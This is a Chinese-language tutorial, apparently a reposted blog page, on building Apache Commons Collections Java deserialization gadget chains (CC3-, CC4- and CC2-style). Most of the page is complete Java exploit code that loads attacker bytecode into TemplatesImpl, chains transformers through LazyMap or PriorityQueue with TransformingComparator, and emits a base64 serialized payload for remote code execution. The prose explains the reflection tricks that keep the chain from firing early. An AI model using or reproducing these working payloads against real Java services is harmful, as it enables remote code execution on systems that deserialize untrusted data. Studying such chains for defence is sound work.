package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa"); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer); Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = aClass1.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decorate); Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o1 = constructor.newInstance(Override.class, map); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o1); byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
添加依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
我们这里使用的是PriorityQueue类的readObject方法
可以看到这里的queue是一个数组
heapify()
接着我们反过来写,首先看到TransformingComparator类的构造方法中.可以看到这里的构造方法首先是一个参数的去调用两个参数的给transformer赋值了
这里是PriorityQueue类的构造方法,在这里我们需要给comparator赋值为我们创建的TransformingComparator
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa"); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
写成这样之后我们尝试一下,发现这里的size是0也就无法接着走
这里也很容易发现这个size使用来计数的 需要注意的是这里的size >>> 1 表示的是size除以2 也就是需要两个size才能进入
我们只需要调用add去添加数值就可以增加size
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa"); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(1); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); // // Base64.Decoder decoder = Base64.getDecoder(); // byte[] decode = decoder.decode(s); // // ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); // ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); // objectInputStream.readObject(); } }
这里也可以轻松发现在序列化之前就触发了
断点调一下
这里也可以清楚的看到在调用第二个add的时候触发了compare() 从底下的调用栈也可以看出
因此我们还是采取先存入无用的 在通过反射存入正确的
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa"); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(1); Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class; Field transformer = transformingComparatorClass.getDeclaredField("transformer"); transformer.setAccessible(true); transformer.set(transformingComparator,chainedTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
可以看到cc2是使用的InvokerTransformer的transform()方法来进行的执行TemplatesImpl类的newTransformer()方法,因为我们需要在transform()传入我们构造好的templates 最终调用的结果就是templates .newTransformer().
接着我们还需要的是如何传给这个transform(obj1) 也是可以看到这里是一路传下来的
最终取出来的是queue数组中的值,因此我们只需要add进去我们想要的obj1即可
接着还是需要去进行反射更改值
package org.example; import com.sun.org.apache.bcel.internal.generic.NEW; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa"); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator<Object, Integer> objectIntegerTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(objectIntegerTransformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class; Field transformert = transformingComparatorClass.getDeclaredField("transformer"); transformert.setAccessible(true); transformert.set(objectIntegerTransformingComparator,newTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。